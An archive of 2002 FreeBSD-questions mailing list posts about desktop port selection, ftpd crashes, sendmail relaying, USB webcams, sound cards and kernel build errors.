> I haven't tried instant-workstation, so of course
> I'll rush in
> where angels fear to tread.
> 
> One of the instant-workstation ports I have not
> tried is mutt,
> though I've read much praise for it and no negatives
> that I can
> recall.  I wonder, though, whether a gui mail
> application might be
> a good choice for this "target market," in addition
> to, instead
> of, or as another choice besides mutt.  Sylpheed
> happens to be
> the one I prefer, and it seems to be well liked by
> many other
> users.  Speaking as someone who didn't know a thing
> about Unix a
> couple of years ago (and hasn't improved on the
> situation all that
> much since:), it was very easy to learn.
> 
> Another place where options might be appreciated is
> browsers -
> perhaps Galeon, Opera, Mozilla?  And Lynx I think is
> excellent for
> getting around on the Net at times when one doesn't
> want to or
> can't be in X.
> 
> Perhaps that's taken care of by w3m (I don't
> remember ATM whether
> that's part of the default emacs install)?  That
> brings me to my
> last and likely most controversial thought.  Emacs
> does everything
> but bake blueberry muffins, but it might be more
> intimidating (or
> puzzling - took me awhile just to understand what
> "M-x"
> meant) than useful to someone fairly new to Unix. 
> It does take a
> while to build and install (and download, for those
> of us on
> dial-ups).  And the configuration options! - not
> exactly
> 'instant.'  If it's part of the install, it seems to
> me users will
> try it, and may wind up thinking "Jeez, this stuff
> is hard" as a
> first impression of FreeBSD.
> 
> HTH,
> 
> Jud
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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From owner-freebsd-questions  Mon Jul 29 19:19: 4 2002
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Has anyone managed to get one of these (model is Archos JukeBox Recorder 20)
working with there FreeBSD installs (4.6), i've compiled in all the support
that should be needed but i just can get the damned thing to mount with
mount_msdos.
--
Mike Woods
WoA SE Webmonkey & General Dogsbody
Amiga North Thames Webmaster & Games Co- ordinator
-------------------------------------------------------------------
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From owner-freebsd-questions  Mon Jul 29 19:23:46 2002
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Subject: Ftpd crashes as soon as i go to download a file?
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You heard right, I use a seperate freebsd machine with nothing except the
purpose of backing up my main one. It connects every night and uses cvsup
to back up. occasionally as an even better method, I zip all the files on
the backup machine like i usually do, and download then burn to CDR. well,
i was just about to do that just now but when i connect to the box i login
ok, but as soon as i try to download anything i get something similar to
this.

labs /kernel ftpd exited blah with uid1002

I can get the exact line if you need it but theres not much difference. I
tried downloading a lot of files, small files. ONE 12 KB file, every time
i get "transfered 0 bytes successfully." connection closed and when i go
to the ftp box, it has that kernel ftpd error across the screen. Both
FreeBSD boxes are running 4.6-STABLE

Im making myself a new world on both boxes right now in hopes of fixing
it. A lot of times ill get some error and a make world does the trick. Its
not a problem because they are high performance machines. But does anyone
have any ideas? Is this happening to anyone else? In case you didnt guess
i am running the FTP server that came with the freebsd install. I cant be
bothered to change what does not need changing. It always worked fine. Up
until now.

-- 

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From owner-freebsd-questions  Mon Jul 29 19:36:43 2002
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To: Ed Yu <edlyu@yahoo.com>
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[Format recovered--see http://www.lemis.com/email/email-format.html]

On Monday, 29 July 2002 at 19:16:10 -0700, Ed Yu wrote:
> I have used mutt and I liked it but I think for
> instant-workstation, evolution would be more
> appropriate.

Is that what you're using?  The text you send is badly broken.  I
wouldn't want to recommend that to anybody.

> I have noticed also that new users seems to prefer galeon a lot as
> well.

That's a web browser.

Greg

> --- Jud <jud@myrealbox.com> wrote:
>> On Sun, 28 Jul 2002 12:00:16 +0930
>> Greg 'groggy' Lehey <grog@lemis.com> wrote:
>>
>> [snip]
>>> The real
>>> problem I have is knowing which of the over 7,000
>> ports you want
>>> to install to get "basic" desktop functionality.
>> Some time ago
>>> I created the "instant-workstation" port, but
>> didn't make much
>>> noise about it.  instant-workstation basically
>> installs a number
>>> of dependent ports (see below for a list) and then
>> does some
>>> minor configuration.  Over the past couple of days
>> I've been
>>> installing a brand new machine (laptop) for a
>> friend, and I've
>>> been looking at the rough edges.  Here's what I've
>> found:
>>>
>>> 1.  Some of the dependent ports don't build
>> cleanly.  This
>>> obviously
>>>     requires some attention.
>>> 2.  "instant" is a misnomer, at least if you build
>> from source.
>>> I'm
>>>     building on a Dell Inspiron 7500 with a 600
>> MHz processor,
>>>     and it takes over 12 hours.
>>> 3.  Once it's built, it works "out of the box".
>> I've installed
>>> the
>>>     XFree86 4 port, and installation is really
>> nothing more than
>>>     this:
>>>
>>>     # X -configure
>>>     # mv /root/XF86Config.new /etc
>>>     # echo exec kdestart > ~me/.xinitrc
>>>
>>>     You can then run startx or xdm and end up in a
>> relatively
>>>     complete kde environment.
>>>
>>> So what's in instant-workstation?  Currently I
>> have:
>>>
>>> 	acroread
>>> 	bash
>>> 	cdrecord
>>> 	dos2unix
>>> 	emacs
>>> 	fetchmail
>>> 	gs
>>> 	grip
>>> 	gimp
>>> 	gv
>>> 	gpg
>>> 	ispell
>>> 	startkde
>>> 	mkisofs
>>> 	mount_smbfs
>>> 	mutt
>>> 	netscape
>>> 	xtset
>>> 	xmms
>>> 	xv
>>>
>>> My questions to you: is there anything missing?
>> Has anybody
>>> tried instant-workstation?  I'd be interested in
>> suggestions
>>> about how to improve it.
>>>
>>> Greg
>>
>> I haven't tried instant-workstation, so of course
>> I'll rush in
>> where angels fear to tread.
>>
>> One of the instant-workstation ports I have not
>> tried is mutt,
>> though I've read much praise for it and no negatives
>> that I can
>> recall.  I wonder, though, whether a gui mail
>> application might be
>> a good choice for this "target market," in addition
>> to, instead
>> of, or as another choice besides mutt.  Sylpheed
>> happens to be
>> the one I prefer, and it seems to be well liked by
>> many other
>> users.  Speaking as someone who didn't know a thing
>> about Unix a
>> couple of years ago (and hasn't improved on the
>> situation all that
>> much since:), it was very easy to learn.
>>
>> Another place where options might be appreciated is
>> browsers -
>> perhaps Galeon, Opera, Mozilla?  And Lynx I think is
>> excellent for
>> getting around on the Net at times when one doesn't
>> want to or
>> can't be in X.
>>
>> Perhaps that's taken care of by w3m (I don't
>> remember ATM whether
>> that's part of the default emacs install)?  That
>> brings me to my
>> last and likely most controversial thought.  Emacs
>> does everything
>> but bake blueberry muffins, but it might be more
>> intimidating (or
>> puzzling - took me awhile just to understand what
>> "M-x"
>> meant) than useful to someone fairly new to Unix.
>> It does take a
>> while to build and install (and download, for those
>> of us on
>> dial-ups).  And the configuration options! - not
>> exactly
>> 'instant.'  If it's part of the install, it seems to
>> me users will
>> try it, and may wind up thinking "Jeez, this stuff
>> is hard" as a
>> first impression of FreeBSD.
>>
>> HTH,
>>
>> Jud
>>
>> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> with "unsubscribe freebsd-questions" in the body of
>> the message
>
>
> __________________________________________________
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> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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From owner-freebsd-questions  Mon Jul 29 19:38:56 2002
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Date: Tue, 30 Jul 2002 04:39:52 +0200
From: "Roger 'Rocky' Vetterberg" <listsub@rambo.simx.org>
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Once upon a time I knew a flag in inetd.conf that made the 
internal auth server reply with a fixed ident for all nat 
clients, but my memory fails me and I cant find it documented 
anywhere.

Anyone care to refreshen my mind?

--
R



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From owner-freebsd-questions  Mon Jul 29 20: 5: 0 2002
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from man inetd:

> -d fallback
> 	     Provide a fallback username.  If the real ``auth'' service is
> 	     enabled (with the -r option discussed below), return this user­
> 	     name instead of an error when lookups fail for either socket cre­
> 	     dentials or the username.	If the real ``auth'' service is dis-­
> 	     abled, return this username for every request.  This is primarily
> 	     useful when running this service on a NAT machine.

Michael



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From owner-freebsd-questions  Mon Jul 29 20: 7:42 2002
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From: Steven Lake <raiden@shell.core.com>
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Subject: User auth through database
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	Hi again.  Quick question.  Is there a port, or a good tutorial
guide on how to setup a server so that users can get mail but not
actually have a legitimate shell account on the server.  I only want three
actual accounts that can login to the machine through sell and the
console, but I want Qpopper to treat the users as though they actually
had a shell account on the machine.

	Basically what I'm thinking is to use some form of user auth for
the mail services through an SQL database of some kind.  I've seen it
done, but I'm not sure how to do it.  Anyone have any ideas?  Or do I need
to use a different Pop3 mail server port to make use of this SQL database
auth method I'm looking at doing?

	Also, if I want users to have to auth to send mail, can I setup
sendmail to use this same database, or do I need to use something else?


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From owner-freebsd-questions  Mon Jul 29 20:19:25 2002
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Date: Mon, 29 Jul 2002 20:19:26 -0700 (PDT)
From: Matt Snow <drama@slakin.net>
To: "Michael J. Turner" <mike@inethouston.net>
Cc: Charlie Root <rdwestsr@hotpop.com>,
	Adam Weinberger <adam@vectors.cx>, <neodan85@optonline.net>,
	<freebsd-questions@FreeBSD.ORG>
Subject: Re: Dan wants xp back.
In-Reply-To: <001b01c234c1$b3797850$f100a8c0@rns02>
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From my experience in formatting a hard drive that had Linux/FreeBSD on it
to install windows, it is pretty painless.

Make sure the windows CD is able to do an install on another box. If it
works then troubleshoot the hardware
(e.g. swapping IDE cables, CDROM's,..).

Once you get the windows CD to install, give it half the disk, then
install FreeBSD on the other.

Never give up on FreeBSD or Linux or any other UNIX you try to learn,
in the long run you are much better off knowing both. I got my current job
just because I know Linux, BSD, and Solaris. The company was about to
release a product that their support department could'nt even support, so
I was hired and trained folks more about Linux and Solaris. =)

* * * * * * * *
Matt Snow
 (@) drama@slakin.net
 (w) http://slakin.net.

On Fri, 26 Jul 2002, Michael J. Turner wrote:

>
> ----- Original Message -----
> From: "Charlie Root" <rdwestsr@hotpop.com>
> To: "Adam Weinberger" <adam@vectors.cx>
> Cc: <neodan85@optonline.net>; <freebsd-questions@FreeBSD.ORG>
> Sent: Friday, July 26, 2002 11:15 AM
> Subject: Re: Dan wants xp back.
>
>
> > >
> > > >    >i recently installed FreeBSD on one of my computers.   I
> discovered
> > > >    that it was harder to learn than i thought it would be >and i
> wanted
> > > >    to go back to WindowsXP.  I tried formatting the disk and using the
> > > >    installer on the XP CDROM but it always >says there is a primary
> hard
> > > >    disk failure.  How can i fix this so i can install Windows again.
> > > >
> > > >
> > > >
> > > >    You will generally get more replies if you put a subject in the
> email.
> > > >    But I bet that was a mistake. ;) You cannot reinstall windows on a
> > > >    drive that had FreeBSD on it previously. The daemon mascot tends to
> > > >    get violently angry, understands exactly what your about to do, and
> > > >    eats up your disk. Time to get a new drive or keep plugging away at
> > > >    BSD.
> >
> > hahaha,
> >     that was cool...    :)
> >
> > >
> > > >    Oh ok ok.. So it was just a little tasteless humor. You need to
> wipe
> > > >    out the partitions that BSD made. Last time I checked microsoft
> > > >    doesn't recognize unix partitions. (coincidence? Think not.) I
> usually
> > > >    start a low level format for a couple of seconds and it will wipe
> out
> > > >    all the partitions. And then I put in the microsoft cd. This is
> from
> > > >    experience, I have done it and it works for me. Some say low level
> > > >    formatting isnt good for a disk. I don't know much about it except
> it
> > > >    worked for me. I only learn what I have to or people throw in my
> face
> > > >    which I will probably get a few after posting this. ;) so use at
> your
> > > >    own risk. Alternatives? Get partition magic, or a real OS. If you
> > > >    don't mind me asking, why do you wish to give up on BSD? Is there
> > > >    anything I can help you with to change your mind? What was the
> > > >    problem?
> >
> > Dan,
> >    it just gets easier as time goes by :)
> > i suggest installing the port gnomefind utility...   it will find files
> for
> > you...
> > then get port gnomemm i think...      its a windows-explorer like
> interface...
> >
> > get linux binary netscape communicator and navigator
> > get gedit to edit files...
> >
> > these will get u up and going with FreeBSD
> >
> > i'm still about lost in Unix myself, but i'm fighting to not give up...
> > i want that server box free of ms
> > and i was running the ms advanced server 2000 for the past couple years
> >
> > i hopr this helps
> > RDWestSr
> >
> >
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> >
>
>
> FreeBSD isn't that difficult to learn honestly, if you new to UNIX like OS
> then yeah it can be rough but if you just give it time you'll learn about it
> and realize how great of a OS it really is and the potential it has.
>
>
> indeed...
>
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>


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From owner-freebsd-questions  Mon Jul 29 20:54:35 2002
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Subject: hi there
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From owner-freebsd-questions  Mon Jul 29 21:45:52 2002
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Date: Tue, 30 Jul 2002 00:45:47 -0400 (EDT)
From: Jason Hunt <leth@primus.ca>
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To: freebsd-questions@FreeBSD.ORG
Cc: Mike <root@unixhideout.com>
Subject: Re: Allowing controlled relay with sendmail.
In-Reply-To: <3230.192.168.1.10.1027986071.squirrel@email.unixhideout.com>
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> >Keep in mind that by opening up your mail server to let users from other
> >ISPs relay through you, you are becoming an open relay yourself.
>
> How am i an open relay if i am requiring auth before sending?

If you're requiring SMTP AUTH, then no, you're not an open relay.  I meant
that if you were to just add IP ranges for all of your users which are on
numerous ISPs, then effectively you are becoming an open relay for the
said ISPs.

As a side note, sendmail also allows you to define domains to relay.  This
is determined by doing a reverse lookup on the IP of the client.  However,
I'm not sure how the rules go for resolving forwards, or if the forwards
and reverses are different domains, etc etc.  Either way, if you had
people on isp1.com and isp2.com that you want to relay for, you can
just add "isp1.com RELAY" and "isp2.com RELAY" to the access list.  Even
when doing this, you should also add the range of IPs, in-case DNS stops
working.


> This is just sad. The internet used to be such a nice place. Then the
> pinheads arrived. Im so limited to what i can do with my site/servers
> because of people with no respect for other people's property. What ever
> happened to if it's not yours dont touch it? =]

*sigh* Marketting?  Business?  All that cal.  Yeah, too bad it wasn't 1995
again.  If it was, I'd still be on the BBSes.


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From owner-freebsd-questions  Mon Jul 29 21:55:44 2002
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Date: Tue, 30 Jul 2002 00:55:41 -0400 (EDT)
From: Jason Hunt <leth@primus.ca>
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To: freebsd-questions@freebsd.org
Cc: bshin2000@hotmail.com
Subject: Re: Issues With X Windows
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> I tried to start x windows using a non-root account.
>  However, I got a fatal
> error message saying I cannot open a log file. I can
> startx as root.  How
> can I fix this mistake?
>

Is this XFree86-4?  If so, try installing the wrapper, which can be found
under x11/wrapper of the ports collection.



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From owner-freebsd-questions  Mon Jul 29 21:58:12 2002
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From: "Bishop" <bishop@teamgalocia.net>
To: "Warren Block" <wblock@wonkity.com>
Cc: "Jean-Mark" <jeanmark@dupx.freeserve.co.uk>,
	<freebsd-questions@FreeBSD.ORG>
References: <Pine.BSF.4.21.0207251707350.94922-100000@wonkity.com>
Subject: Re: USB webcams....little help?
Date: Fri, 26 Jul 2002 07:44:59 -0500
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Warren,
I was running ./configure because I had downloaded netpbm from the net.

Well, I did eventually get vid-1.0.1 to work. Or at least I think. Since my
netpbm-9.23 in my distfiles was apparently corrupt, I replaced that in
/distfiles with the file I downloaded from the net and ran make on the
vid-1.0.1 port again. This time, the netpbm installer worked and I didn't
get any errors about file corruption and so forth.

So, now that I have my D-link DSB-C100 hooked up to my USB port (and
recognized as an OV511+ device in dmesg, and now that vid supposedly works
without any obvious errors, I'm now trying to determine where vid is placing
its captures (if it is capturing at all).

Here's my USB stuff from dmesg:
------------------------------------------------
uhci0: <Intel 82371SB (PIIX3) USB controller> port 0xece0-0xecff irq 11 at
devic
e 7.2 on pci0
usb0: <Intel 82371SB (PIIX3) USB controller> on uhci0
usb0: USB revision 1.0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
ugen0: OmniVision OV511+ Camera, rev 1.00/1.00, addr 2
ugen1: hp photosmart 1215, rev 1.10/2.00, addr 3

------------------------------------------------

...and here is the output of 'vid --help':
------------------------------------------------
t85web# vid --help
usage: vid [options]
Capture an image frame from an OV511/OV511+ based USB video camera
and write image data to standard output in PNM format

--version              print program version information
--usage                summarize command line options
--help                 print this description
--small                capture as 320x240 image (default is 640x480)
-d device, --device-name=device
                       specify OV511 ugen device
------------------------------------------------

Anyone know where vid's output points?


Thanks,
David


----- Original Message -----
From: "Warren Block" <wblock@wonkity.com>
To: "Bishop" <bishop@teamgalocia.net>
Cc: "Jean-Mark" <jeanmark@dupx.freeserve.co.uk>;
<freebsd-questions@FreeBSD.ORG>
Sent: Thursday, July 25, 2002 6:10 PM
Subject: Re: USB webcams....little help?


>. . .

> Why are you running ./configure?  Packages should just be pkg_add
> <packagefilename>, I thought.  Are we using the word "package" in
> different ways?
>
> -Warren Block * Rapid City, South Dakota USA



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From owner-freebsd-questions  Mon Jul 29 22: 8:48 2002
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Cc: "Warren Block" <wblock@wonkity.com>,
	"Jean-Mark" <jeanmark@dupx.freeserve.co.uk>
Subject: Re: USB webcams....little help?
Date: Fri, 26 Jul 2002 09:19:24 -0500
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------=_NextPart_000_0015_01C23485.88632990
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Warren,
I was running ./configure because I had downloaded netpbm from the net.

Well, I did eventually get vid-1.0.1 to work. Or at least I think. Since =
my
netpbm-9.23 in my distfiles was apparently corrupt, I replaced that in
/distfiles with the file I downloaded from the net and ran make on the
vid-1.0.1 port again. This time, the netpbm installer worked and I =
didn't
get any errors about file corruption and so forth.

So, now that I have my D-link DSB-C100 hooked up to my USB port (and
recognized as an OV511+ device in dmesg, and now that vid supposedly =
works
without any obvious errors, I'm now trying to determine where vid is =
placing
its captures (if it is capturing at all).

Here's my USB stuff from dmesg:
------------------------------------------------
uhci0: <Intel 82371SB (PIIX3) USB controller> port 0xece0-0xecff irq 11 =
at
devic
e 7.2 on pci0
usb0: <Intel 82371SB (PIIX3) USB controller> on uhci0
usb0: USB revision 1.0
uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
ugen0: OmniVision OV511+ Camera, rev 1.00/1.00, addr 2
ugen1: hp photosmart 1215, rev 1.10/2.00, addr 3

------------------------------------------------

...and here is the output of 'vid --help':
------------------------------------------------
t85web# vid --help
usage: vid [options]
Capture an image frame from an OV511/OV511+ based USB video camera
and write image data to standard output in PNM format

--version              print program version information
--usage                summarize command line options
--help                 print this description
--small                capture as 320x240 image (default is 640x480)
-d device, --device-name=3Ddevice
                       specify OV511 ugen device
------------------------------------------------

Anyone know where vid's output points?


Thanks,
David


----- Original Message -----
From: "Warren Block" <wblock@wonkity.com>
To: "Bishop" <bishop@teamgalocia.net>
Cc: "Jean-Mark" <jeanmark@dupx.freeserve.co.uk>;
<freebsd-questions@FreeBSD.ORG>
Sent: Thursday, July 25, 2002 6:10 PM
Subject: Re: USB webcams....little help?


>. . .

> Why are you running ./configure?  Packages should just be pkg_add
> <packagefilename>, I thought.  Are we using the word "package" in
> different ways?
>
> -Warren Block * Rapid City, South Dakota USA




------=_NextPart_000_0015_01C23485.88632990
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

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<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>Warren,<BR>I was running ./configure because I =
had=20
downloaded netpbm from the net.<BR><BR>Well, I did eventually get =
vid-1.0.1 to=20
work. Or at least I think. Since my<BR>netpbm-9.23 in my distfiles was=20
apparently corrupt, I replaced that in<BR>/distfiles with the file I =
downloaded=20
from the net and ran make on the<BR>vid-1.0.1 port again. This time, the =
netpbm=20
installer worked and I didn't<BR>get any errors about file corruption =
and so=20
forth.<BR><BR>So, now that I have my D-link DSB-C100 hooked up to my USB =
port=20
(and<BR>recognized as an OV511+ device in dmesg, and now that vid =
supposedly=20
works<BR>without any obvious errors, I'm now trying to determine where =
vid is=20
placing<BR>its captures (if it is capturing at all).<BR><BR>Here's my =
USB stuff=20
from =
dmesg:<BR>------------------------------------------------<BR>uhci0:=20
&lt;Intel 82371SB (PIIX3) USB controller&gt; port 0xece0-0xecff irq 11=20
at<BR>devic<BR>e 7.2 on pci0<BR>usb0: &lt;Intel 82371SB (PIIX3) USB=20
controller&gt; on uhci0<BR>usb0: USB revision 1.0<BR>uhub0: Intel UHCI =
root hub,=20
class 9/0, rev 1.00/1.00, addr 1<BR>uhub0: 2 ports with 2 removable, =
self=20
powered<BR>ugen0: OmniVision OV511+ Camera, rev 1.00/1.00, addr =
2<BR>ugen1: hp=20
photosmart 1215, rev 1.10/2.00, addr=20
3<BR><BR>------------------------------------------------<BR><BR>...and =
here is=20
the output of 'vid=20
--help':<BR>------------------------------------------------<BR>t85web# =
vid=20
--help<BR>usage: vid [options]<BR>Capture an image frame from an =
OV511/OV511+=20
based USB video camera<BR>and write image data to standard output in PNM =

format<BR><BR>--version&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
print program version=20
information<BR>--usage&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
summarize command line=20
options<BR>--help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
print this=20
description<BR>--small&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
capture as 320x240 image (default is 640x480)<BR>-d device,=20
--device-name=3Ddevice<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;=20
specify OV511 ugen=20
device<BR>------------------------------------------------<BR><BR>Anyone =
know=20
where vid's output points?<BR><BR><BR>Thanks,<BR>David<BR><BR><BR>----- =
Original=20
Message -----<BR>From: "Warren Block" &lt;<A=20
href=3D"mailto:wblock@wonkity.com">wblock@wonkity.com</A>&gt;<BR>To: =
"Bishop"=20
&lt;<A=20
href=3D"mailto:bishop@teamgalocia.net">bishop@teamgalocia.net</A>&gt;<BR>=
Cc:=20
"Jean-Mark" &lt;<A=20
href=3D"mailto:jeanmark@dupx.freeserve.co.uk">jeanmark@dupx.freeserve.co.=
uk</A>&gt;;<BR>&lt;<A=20
href=3D"mailto:freebsd-questions@FreeBSD.ORG">freebsd-questions@FreeBSD.O=
RG</A>&gt;<BR>Sent:=20
Thursday, July 25, 2002 6:10 PM<BR>Subject: Re: USB webcams....little=20
help?<BR><BR><BR>&gt;. . .<BR><BR>&gt; Why are you running =
./configure?&nbsp;=20
Packages should just be pkg_add<BR>&gt; &lt;packagefilename&gt;, I=20
thought.&nbsp; Are we using the word "package" in<BR>&gt; different=20
ways?<BR>&gt;<BR>&gt; -Warren Block * Rapid City, South Dakota =
USA<BR><BR>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

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Dear Sir:

I am a FreeBSD lover, but I am not a professional.=20
I like it very much prior to any other kinds of linux.
I treat FreeBSD as a formal UNIX, and linux is something minor.

But something I do have some problem on using FreeBSD. For example, my =
computer has no=20

ISA sound. It only has PCI sound card, Creative Vibra128 PCI. FreeBSD =
does not=20

directly support PCI sound card now. So my FreeBSD has no sound, silent. =
This is=20

pretty a sorrow.=20

Fortunately I find a article telling how to configure the PCI sound card =
for FreeBSD.=20
But while I follow the instruction of this article, I have some problem =
which I cannot=20

solve.=20

Could you please give me help on this?
For your convenience I attach this article to this e-mail. The original =
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article is in BLACK, and my problems (there two by now) are in RED.=20

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Shen Zhijian.
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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Dear Sir:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I am a FreeBSD lover, but I am not a =
professional.=20
<BR>I like it very much prior to any other kinds of linux.<BR>I treat =
FreeBSD as=20
a formal UNIX, and linux is something minor.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>But something I do have some problem on =
using=20
FreeBSD. For example, my computer has no </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>ISA sound. It only has PCI sound card, =
Creative=20
Vibra128 PCI. FreeBSD does not </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>directly support PCI sound card now. So =
my FreeBSD=20
has no sound, silent. This is </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>pretty a sorrow. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Fortunately I find a article telling =
how to=20
configure the PCI sound card for FreeBSD. <BR>But while I follow the =
instruction=20
of this article, I have some problem which I cannot </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>solve. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Could you please give me help on =
this?<BR>For your=20
convenience I attach this article to this e-mail. The original text in =
this=20
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>article is in BLACK, and my problems =
(there two by=20
now) are in RED. </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Shen Zhijian.<BR>&lt;<A=20
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Date: Mon, 29 Jul 2002 22:45:14 -0700 (PDT)
From: Wayne Lubin <wayneclubin@yahoo.com>
Subject: kernel compiling errors
To: freebsd-questions@freebsd.org
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Hi,

I am getting an error when I try to compile the
kernel. The tail end of the msgs I get are shown
below. Any suggestions would be appreciated.

Wayne


cc -elf -shared -nostdlib hack.c -o hack.So
rm -f hack.c
sh ../../conf/newvers.sh MYKERNEL 
cc -c -O -pipe  -Wall -Wredundant-decls
-Wnested-externs -Wstrict-prototypes 
-Wmissing-prototypes -Wpointer-arith -Winline
-Wcast-qual  -fformat-extensions -ansi  -nostdinc -I-
-I. -I../.. -I../../../include
-I../../contrib/ipfilter  -D_KERNEL -include
opt_global.h -elf  -mpreferred-stack-boundary=2 
vers.c
linking kernel
umass.o: In function `umass_cam_attach_sim':
umass.o(.text+0x12bf): undefined reference to
`cam_simq_alloc'
umass.o(.text+0x12e5): undefined reference to
`cam_sim_alloc'
umass.o(.text+0x12fe): undefined reference to
`xpt_bus_register'
umass.o(.text+0x130e): undefined reference to
`cam_simq_free'
umass.o: In function `umass_cam_rescan_callback':
umass.o(.text+0x1327): undefined reference to
`xpt_free_path'
umass.o: In function `umass_cam_rescan':
umass.o(.text+0x1371): undefined reference to
`xpt_periph'
umass.o(.text+0x137a): undefined reference to
`xpt_create_path'
umass.o(.text+0x138d): undefined reference to
`xpt_setup_ccb'
umass.o(.text+0x13a8): undefined reference to
`xpt_action'
umass.o: In function `umass_cam_detach_sim':
umass.o(.text+0x145f): undefined reference to
`xpt_bus_deregister'
umass.o(.text+0x147d): undefined reference to
`cam_sim_free'
umass.o: In function `umass_cam_detach':
umass.o(.text+0x14be): undefined reference to
`xpt_create_path'
umass.o(.text+0x14df): undefined reference to
`xpt_async'
umass.o(.text+0x14e7): undefined reference to
`xpt_free_path'
umass.o: In function `umass_cam_action':
umass.o(.text+0x1805): undefined reference to
`xpt_done'
umass.o(.text+0x1815): undefined reference to
`xpt_done'
umass.o: In function `umass_cam_cb':
umass.o(.text+0x1911): undefined reference to
`xpt_done'
umass.o: In function `umass_cam_sense_cb':
umass.o(.text+0x1988): undefined reference to
`xpt_done'
umass.o(.text+0x1999): undefined reference to
`xpt_done'
*** Error code 1

Stop in /usr/src/sys/compile/MYKERNEL.


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From owner-freebsd-questions  Mon Jul 29 22:55:22 2002
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Date: Mon, 29 Jul 2002 22:55:13 -0700
From: Kent Stewart <kstewart@owt.com>
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To: Wayne Lubin <wayneclubin@yahoo.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: kernel compiling errors
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Wayne Lubin wrote:

> Hi,
> 
> I am getting an error when I try to compile the
> kernel. The tail end of the msgs I get are shown
> below. Any suggestions would be appreciated.


You didn't pay attention to the requirements on the USB's umass 
device. Comment out umass or add scbus and da.

Kent


> 
> Wayne
> 
> 
> cc -elf -shared -nostdlib hack.c -o hack.So
> rm -f hack.c
> sh ../../conf/newvers.sh MYKERNEL 
> cc -c -O -pipe  -Wall -Wredundant-decls
> -Wnested-externs -Wstrict-prototypes 
> -Wmissing-prototypes -Wpointer-arith -Winline
> -Wcast-qual  -fformat-extensions -ansi  -nostdinc -I-
> -I. -I../.. -I../../../include
> -I../../contrib/ipfilter  -D_KERNEL -include
> opt_global.h -elf  -mpreferred-stack-boundary=2 
> vers.c
> linking kernel
> umass.o: In function `umass_cam_attach_sim':
> umass.o(.text+0x12bf): undefined reference to
> `cam_simq_alloc'
> umass.o(.text+0x12e5): undefined reference to
> `cam_sim_alloc'
> umass.o(.text+0x12fe): undefined reference to
> `xpt_bus_register'
> umass.o(.text+0x130e): undefined reference to
> `cam_simq_free'
> umass.o: In function `umass_cam_rescan_callback':
> umass.o(.text+0x1327): undefined reference to
> `xpt_free_path'
> umass.o: In function `umass_cam_rescan':
> umass.o(.text+0x1371): undefined reference to
> `xpt_periph'
> umass.o(.text+0x137a): undefined reference to
> `xpt_create_path'
> umass.o(.text+0x138d): undefined reference to
> `xpt_setup_ccb'
> umass.o(.text+0x13a8): undefined reference to
> `xpt_action'
> umass.o: In function `umass_cam_detach_sim':
> umass.o(.text+0x145f): undefined reference to
> `xpt_bus_deregister'
> umass.o(.text+0x147d): undefined reference to
> `cam_sim_free'
> umass.o: In function `umass_cam_detach':
> umass.o(.text+0x14be): undefined reference to
> `xpt_create_path'
> umass.o(.text+0x14df): undefined reference to
> `xpt_async'
> umass.o(.text+0x14e7): undefined reference to
> `xpt_free_path'
> umass.o: In function `umass_cam_action':
> umass.o(.text+0x1805): undefined reference to
> `xpt_done'
> umass.o(.text+0x1815): undefined reference to
> `xpt_done'
> umass.o: In function `umass_cam_cb':
> umass.o(.text+0x1911): undefined reference to
